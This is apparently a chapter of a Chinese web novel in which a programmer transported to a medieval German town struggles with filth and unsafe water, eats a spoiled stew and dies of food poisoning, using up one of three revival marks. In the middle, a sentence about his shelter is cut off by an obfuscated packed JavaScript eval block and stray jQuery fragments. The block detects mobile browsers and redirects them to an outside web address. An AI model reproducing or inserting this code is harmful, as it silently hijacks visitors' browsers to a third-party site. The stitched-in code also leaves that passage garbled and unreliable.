林越睁开眼睛。


    不是天花板上的水渍澳大利亚，不是数据飞地的虚拟穹顶，不是监控世界神经接口断开时的瞬间失重。


    是泥土。


    他脸朝下趴着，鼻尖距离地面不到三厘米。泥土是深褐色的，湿润，散发着一种复杂的味道——像是腐烂的植物、动物粪便、还有某种无法形容的甜腻气息混合在一起。


    他动了动手指，感受到真实的触感：泥土的颗粒感，草叶的粗糙，还有……一只蚂蚁正试图爬过他的手背。


    “很好。”林越心想，“不是虚拟现实，不是数据投影，是真实的物理世界。而且有昆虫——说明生态循环正常，或者说，太正常了。”


    他撑起身体，坐起来，环顾四周。


    这是一处镇子入口不远处的灌木丛里，虽然稀疏遮不住人，但好在周围也没有人经过，勉强能看到镇子石墙门上的标牌写着德文的“灰石镇”。


    林越的第一反应是深呼吸——然后立刻后悔了。


    空气进入鼻腔的瞬间，他的大脑自动启动了信息分析模块：


    空气成分初步分析（基于感官输入）：


    ?主要成分：尘土（约65%体积占比，颗粒大小不均，可能含有微生物）


    ?次要成分：粪便分解产物（约30%，来源：人类排泄物、动物粪便、垃圾堆肥）


    ?微量成分：木材燃烧烟雾、金属冶炼废气、腐烂有机物挥发性气体


    ?情感附加值：绝望（约5%，来源：心理投射及环境氛围综合评估）


    “这里的空气，”林越捂着鼻子站起来，“比老板画的饼还难吃。至少老板画的饼闻起来是面粉味，这里闻起来像……整个城市都在露天拉屎，而且没人收拾。”


    他检查自己的身体状态：健康，没有受伤，穿着普通粗布衣服（中世纪平民款式），鞋子是简陋的皮革制品，脚感一般。左手腕上，三道红痕鲜艳如新——这是他在这个世界的“复活币”，三道。


    “三道红痕，三次机会。”林越自言自语，“目标：活着离开。或者至少，死得有教育意义。”


    他开始观察环境。


    灰石镇坐落在一片丘陵地带，镇子被粗糙的石墙围着，墙不高，大概三米左右，上面有木制瞭望塔，但没人站岗。镇子外围是农田，种着小麦（看起来营养不良）和蔬菜（叶子发黄）。更远处是森林，树木茂密，透露着原始的气息。


    镇子入口是一条土路，被车轮压出深深的沟壑，里面积着浑浊的水——雨水混合着泥土、马粪、还有其他不明液体。


    路上有人。


    穿着粗糙亚麻或羊毛衣服的农民推着木质手推车，车上堆着干草或者蔬菜。妇女提着水桶，桶里的水颜色可疑。孩子光着脚在泥地里跑，脸上沾着污渍，鼻涕挂在嘴边。


    没人注意到林越——或者说，注意到了，但没人在意。一个穿着奇怪衣服（在他们看来）的外来者，在这个时代不算罕见。流浪者、逃难的农民、寻找工作的手艺人，边境小镇总能见到。


    林越站在原地，大脑开始制定生存计划。


    《中世纪生存计划v1.0》


    ?阶段一：信息收集（0-6小时）


    1.语言：学习基础德语方言（观察、模仿、必要时装哑巴）。


    2.货币：确认交易媒介（硬币？实物交换？信用？）。


    3.社会结构：识别权力层级（领主、教会、平民）。


    4.威胁评估：主要危险来源（疾病、暴力、饥饿、宗教迫害）。


    ?阶段二：基础生存（6-48小时）


    1.水源：找到安全饮用水源（煮沸是底线）。


    2.食物：获取最低限度热量摄入（避免有毒植物和腐败食物）。


    3.住所：寻找临时栖身地（避免跳蚤老鼠密集区）。


    4.身份：建立无害外来者人设（避免引起怀疑）。


    ?阶段三：长期适应（48小时以上）


    1.技能：学习本地有用技能（草药、基础手工）。


    2.社交：建立有限但必要的人际关系（信息源、互助网络）。


    3.目标：探索钥匙碎片线索（玉坠反应？历史记录？）。


    4.退出：规划离开路径（如果可能）。


    计划制定完毕，林越深吸一口气——然后再次后悔，因为那股味道又冲进了鼻腔。


    “先解决语言问题。”他朝镇子入口走去。


    土路比看起来更难走。沟壑里的积水不知道沉淀了多久，颜色从浑浊的黄色到深褐色不等。林越小心翼翼地绕过水坑，但鞋子还是不可避免地沾上了泥浆。


    走到入口时，他遇到了第一个“NPC”：一个靠在墙边打盹的守卫。


    守卫穿着破旧的皮甲，手里拿着木柄长矛，矛尖锈迹斑斑。他看起来五十岁左右，脸上布满皱纹和晒斑，眼睛半闭着，仿佛随时会睡着。


    林越走过去，守卫睁开眼睛瞥了他一眼，又闭上了。


    “看来边境小镇的安保意识，和某些公司的门禁系统一样，形同虚设。”林越心想，“也好，省了盘查的麻烦。”


    他走进镇子。


    然后，感官冲击达到了新的高度。


    如果说镇子外的空气是“难吃”，那么镇子里的空气就是“生化武器级别”。


    街道狭窄，两边是木结构房屋，有些已经歪斜，靠木杆支撑着。房屋之间距离很近，二楼甚至有“过街楼”——两栋房子的二楼用木板连接，人在上面走。


    地面没有铺石板，是压实了的泥土，但泥土里混合着各种东西：菜叶、果皮、动物骨头、破碎的陶片，还有……人类的排泄物。


    是的，排泄物。


    就在街道中央，一坨新鲜的粪便堆在那里，周围苍蝇飞舞。一个妇人提着裙子从旁边走过，看都没看一眼。两个孩子在不远处玩耍，其中一个不小心踩到了，也只是在泥土上蹭了蹭鞋底。


    林越停下脚步。


    他的大脑试图用程序员思维解析这个场景：


    场景：中世纪城镇街道卫生管理


    ?问题描述：固体废弃物（包括人类排泄物）未集中处理，随意丢弃在公共空间。


    ?根本原因：缺乏市政环卫系统、卫生观念落后、资源（水、清洁工具）匮乏。


    ?潜在风险：病媒生物滋生（苍蝇、老鼠、跳蚤）、水源污染、空气污染、疾病传播（霍乱、伤寒、痢疾等）。


    ?解决方案：


    1.短期：建立公共厕所、定期清理制度、垃圾集中处理点。


    2.中期：铺装街道（石板）、建设排水系统、推广卫生教育。


    3.长期：改变社会观念、建立市政管理机构、提升资源投入。


    ?可行性评估：在当前技术条件和社会认知水平下，短期方案可行性低（资源限制、观念阻力），中期方案几乎不可能（成本过高），长期方案……算了，不想了。


    “所以结论是，”林越总结，“我得在这个‘露天化粪池’里生存，而且不能指望环境改善。唯一能做的是个人防护：避开明显污染源，所有入口的东西必须处理，保持基本清洁。”


    他继续往前走，尽量沿着墙根，避开街道中央的“雷区”。


    镇子不大，大概几百户人家。中心有个广场，广场上有口水井，几个妇女正在打水。井边堆着木桶，桶壁上沾着深色污渍。


    林越观察打水过程：妇女把木桶扔进井里，拉上来，倒进自己的桶里，然后提着离开。整个过程没有任何过滤或消毒步骤。


    “水源地就在公共区域，周围有垃圾和粪便，打水工具共用且不清洗。”林越记录，“这口井的水，细菌含量可能比某些培养皿还高。”


    他需要水。


    渴。


    从穿越到现在，大概过去了一个小时，身体开始发出缺水信号。但他知道，这口井的水不能直接喝——除非煮沸。


    问题来了：怎么煮？


    他没有锅，没有火，没有燃料。就算有，在公共区域生火煮水，会不会引起怀疑？


    “第一步：获取煮水工具。”林越制定子任务。


    他离开广场，在街道上寻找可能的目标。铁匠铺？可能有铁锅，但价格肯定不便宜，而且他没钱。陶器店？也许有陶罐，但同样需要钱。


    “所以第二步：获取货币。”子任务嵌套。


    他走到一个看起来像市场的地方。几排简陋的木棚，摊主摆着各种商品：蔬菜（大多不新鲜）、谷物（有虫）、肉类（苍蝇环绕）、手工制品（粗糙的陶碗、木勺、草编篮子）。


    林越观察交易方式：大部分是实物交换（一袋谷物换几个陶碗），少数用硬币——银色的小圆片，上面有模糊的图案。


    他没有东西可交换，也没有钱。


    “初始资源：零。”他心想，“这游戏开局难度是不是有点高？”


    就在他思考时，一个老妇人引起了他的注意。


    老妇人坐在市场角落的摊位后面，摊位上摆着各种干草、树根、晒干的植物。她穿着深色粗布长裙，头发用头巾包着，脸上皱纹深刻，但眼睛很亮。


    她正在整理一捆草药，动作熟练。


    草药师。


    林越脑子里闪过这个词。在中世纪，草药师是重要的医疗资源，虽然可能被教会视为“女巫”，但民间依赖她们。


    更重要的是：草药师可能知道哪些水能喝，哪些不能；哪些植物有毒，哪些能吃；以及……如何在这个世界生存。


    他走过去。


    老妇人抬头看他，眼神警惕但不过分紧张。


    “Guten Tag.”林越尝试用德语打招呼——他在监控世界学过一点基础，发音生硬。


    老妇人没说话，只是点点头。


    林越指了指摊位上的草药，又指了指自己的喉咙，做了个喝水的动作——意思是“我需要能治病的草药”。


    老妇人看了他几秒，然后从摊位上拿起一小捆干草，递给他。


    林越接过，闻了闻——有薄荷的味道。


    “Danke.”他说谢谢。


    老妇人摆摆手，示意他可以拿走。


    免费赠送？林越有点意外。但他很快明白：在这个时代，外来者如果病死街头，可能会引发更大的麻烦（比如瘟疫传播）。草药师给他草药，可能是预防措施。


    他收起草药，然后指了指水井方向，又做了个“不能喝”的手势。


    老妇人盯着他，眼神变得锐利。


    她慢慢开口，声音沙哑：“Das Wasser … krank machen.”（那水……会让人生病。）


    林越点头，又做了个“煮水”的手势——把手放在锅上，模仿火焰。


    老妇人理解了。她沉默了几秒，然后从摊位下面拿出一个小陶罐——粗糙，有裂纹，但能用。


    她递给他。


    林越接过陶罐，再次道谢。


    “Feuer.”老妇人说，指了指市场另一头——那里有个铁匠铺，炉火正旺。


    林越明白了：去铁匠铺借火。


    他拿着陶罐和草药，走向铁匠铺。铁匠是个壮汉，光着膀子，正在敲打一块烧红的铁。看到林越拿着陶罐过来，皱了皱眉。


    林越指了指陶罐，又指了指炉火，做了个“请求”的手势。


    铁匠盯着他看了几秒，然后挥了挥锤子，示意他可以用角落里的余烬。


    林越把陶罐放在余烬旁，又从井边打了半罐水——水浑浊，有悬浮物。他把水倒进陶罐，等待煮沸。


    等待过程中，他观察周围。


    市场里的人来来往往，没人特别注意他。铁匠继续打铁，火星四溅。老妇人在摊位后闭目养神。孩子们在街上追逐打闹，踩过污水坑。


    一切都“正常”。


    在这个没有自来水、没有垃圾处理、没有基本卫生观念的世界里，这一切都是“正常”的。


    陶罐里的水开始冒泡。


    林越等到水沸腾至少一分钟——确保杀死大部分细菌和寄生虫——然后把陶罐从火上移开，等待冷却。


    渴。


    喉咙像着了火。


    他盯着陶罐里慢慢平息的水，看着水面上漂浮的细小杂质（煮沸也没法完全清除），闻着那股淡淡的泥土味和铁锈味。


    “这就是中世纪的生活。”他想，“连喝口水都得这么麻烦。而且这还只是第一天，接下来还有跳蚤、老鼠、可能的瘟疫、落后的医疗……”


    “但至少，我现在有水喝了。”


    水凉到能入口时，林越小心地喝了几口。味道不好，有铁锈味和泥土味，但至少是安全的。


    喝完水，他把陶罐还给老妇人（她摆摆手让他留着），然后开始在镇子里寻找临时住所。


    他需要个地方过夜。


    镇子边缘有个废弃的木棚，原本可能是堆放农具的，现在空着。棚子很简陋，木板墙有裂缝，屋顶漏光，地上铺着干草——干草里有东西在动。


    跳蚤。还有老鼠粪便。


    “住宿条件：


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188579|195946||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    差评。”林越评估，“但至少免费，而且相对隐蔽。”


    他把干草清理出去（尽量），用木棍敲打地面（吓跑一些虫子），然后坐下来，开始复盘今天：


    第一天总结：


    ?语言：基础德语交流可行（手势辅助）。


    ?水源：找到井水，获得煮水工具（陶罐），建立煮沸饮用流程。


    ?食物：尚未解决（饥饿度：中等）。


    ?住所：找到临时栖身处（卫生条件差，需防虫）。


    ?社交：接触草药师（潜在盟友），与其他NPC无冲突。


    ?威胁：环境卫生极差，疾病风险高。


    ?红痕状态：3/3（未使用）。


    “还算顺利。”他心想，“除了空气质量和卫生条件让人想立刻辞职回现实世界之外，基本生存需求初步解决。”


    夜幕降临。


    镇子里没有路灯，只有零星窗户透出油灯的光。人们早早回家，街道空无一人——除了野狗和老鼠。


    林越躺在木棚的干草上（经过简单清理），看着从屋顶裂缝透进来的星光。


    手腕上的红痕在黑暗中微微发光。


    他想起了现实世界：母亲今晚会不会又打电话？明天的工作会议，他那个自动化测试方案还得调整。同事小刘还在加班改bug吗？


    两个世界的画面在脑海里交替闪现。


    “双线生存。”他轻声说，“一边是KPI和咖啡，一边是粪便和跳蚤。哪个更真实？”


    没有答案。


    他闭上眼睛，准备休息。


    但就在意识即将沉入睡眠时，一种强烈的饥饿感突然袭来。


    不是普通的饿，是那种无论如何都想要吃一口食物，不论是什么食物，当然最好是烧烤的极端饥饿。


    林越坐起来，摸向身边的陶罐——空的。


    他需要去找点什么吃的。


    但现在出去找食物？深夜，没有光，且不可能有店还开着，又不是现代，总不好摸去别人的厨房。


    “就忍到天亮吧。”他告诉自己，“几个小时而已。”


    但身体不听劝告。饿感越来越强烈，像有痒痒挠在胃里和脑里不停抓挠。


    他想起白天看到的贫民窟，曾经音乐听到有人在讨论白天都在劳作，晚上要吃点什么。贫民窟的宵夜，应该不会有事吧？


    “食品安全是底线。”脑子里有个声音说。


    “但底线是用来突破的。”另一个声音反驳，“特殊情况特殊处理。就一碗，明天一定只吃确认安全的食物。”


    侥幸心理开始滋生。


    林越站起来，走出木棚。夜色中的灰石镇寂静无声，只有远处传来狗吠。他凭着记忆朝贫民区走去——白天他看到那里有人在分食一锅炖煮的东西。


    饥饿感像一只无形的手，攥紧了他的胃。从穿越到现在，他只喝了几口煮沸的水，没有任何固体食物摄入。身体开始发出能量告急的信号：头晕、乏力、注意力难以集中。


    月光勉强照亮道路，他避开明显的污物，走到贫民区边缘。几个衣衫褴褛的人围坐在一小堆火旁，火上架着一个破旧的铁锅，锅里煮着深色的液体，飘出混合着肉味和某种怪异腥气的气味。


    一个老妇人看到他，招了招手，用木勺指了指锅。


    林越走过去。锅里的东西在火光下看不真切，但能看到漂浮的肉块——颜色暗红，纹理粗糙，可能是某种病死或老死的动物。汤的表面浮着一层油腻的泡沫，边缘粘着黑色的渣滓。


    “吃吧，”老妇人用沙哑的声音说，“上帝赐予的食物。”


    林越盯着那锅汤。程序员思维在疯狂报警：


    风险评估：


    ?食材来源：未知动物肉，可能病死、老死或非正常死亡。


    ?烹饪处理：煮沸时间未知，可能不足以杀死所有病原体。


    ?卫生条件：公共锅具，多人分食，交叉污染风险高。


    ?潜在病原：沙门氏菌、肉毒杆菌、寄生虫卵等。


    结论：高风险，不建议摄入。


    但他太饿了。胃部的绞痛压过了理智的警告。


    “就一碗。”他对自己说，“中世纪人天天吃这些也没都死掉。概率问题。”


    他接过老妇人递来的木碗。碗很粗糙，边缘有裂缝，里面盛了小半碗汤和一块肉。肉块的大小和形状不规则，颜色深暗，表面有可疑的斑点。


    他闻了闻——浓郁的肉味掩盖了其他气味，但仔细分辨，能嗅到一丝若有若无的腐臭味。


    饥饿战胜了警惕。


    他喝了一口汤。味道复杂：咸味很重（可能加了大量盐防腐），有肉味，但也有种说不出的酸败感。肉块咬下去很柴，纤维粗糙，需要用力咀嚼。


    他吃完了整碗。把碗还回去，道谢，走回木棚。


    躺下时，他告诉自己：“没事的。高温煮沸过，大部分细菌都死了。而且我身体抵抗力应该比中世纪人强。概率问题。不一定那么倒霉。”


    但内心深处，程序员思维在报警：风险行为已记录。后果预估：负面。


    他闭上眼睛，强迫自己睡觉。


    几个小时后，疼痛把他惊醒。


    先是腹部绞痛，像有刀在里面搅。然后恶心感涌上来，他冲出木棚，呕吐——吐出的是刚吃下的肉汤残渣，混合着胃液，气味刺鼻。


    呕吐后是更剧烈的腹痛，伴随着全身发冷和发热交替。他蜷缩在地上，额头冒汗，身体不受控制地颤抖。视线开始模糊，心跳快得不正常。


    食物中毒。


    沙门氏菌？肉毒杆菌？还是其他什么病原体？他分不清，只知道身体系统正在崩溃。


    “侥幸心理是最大的病毒。”林越躺在木棚的地上，意识逐渐模糊，“比办公室政治传播还快。”


    他想起了监控世界的死亡：神经过载崩溃，意识中断，被系统记录分析。


    这次不一样。这次是生物性的死亡：细菌感染，中毒反应，器官衰竭。


    更原始，更物理，更……痛苦。


    但他没有恐惧。


    只有一种荒谬感：穿越到中世纪，死因居然是吃了一碗来路不明的肉汤。


    “至少这次，”他最后想，“不用写死亡报告给系统。”


    黑暗吞噬了他。


    手腕上，一道红痕从鲜艳的红色，褪成了暗红，再变成淡红，最后几乎看不见。


    另外两道红痕，重新变得鲜艳。


    第一次死亡，结束。


    第一次重生，开始。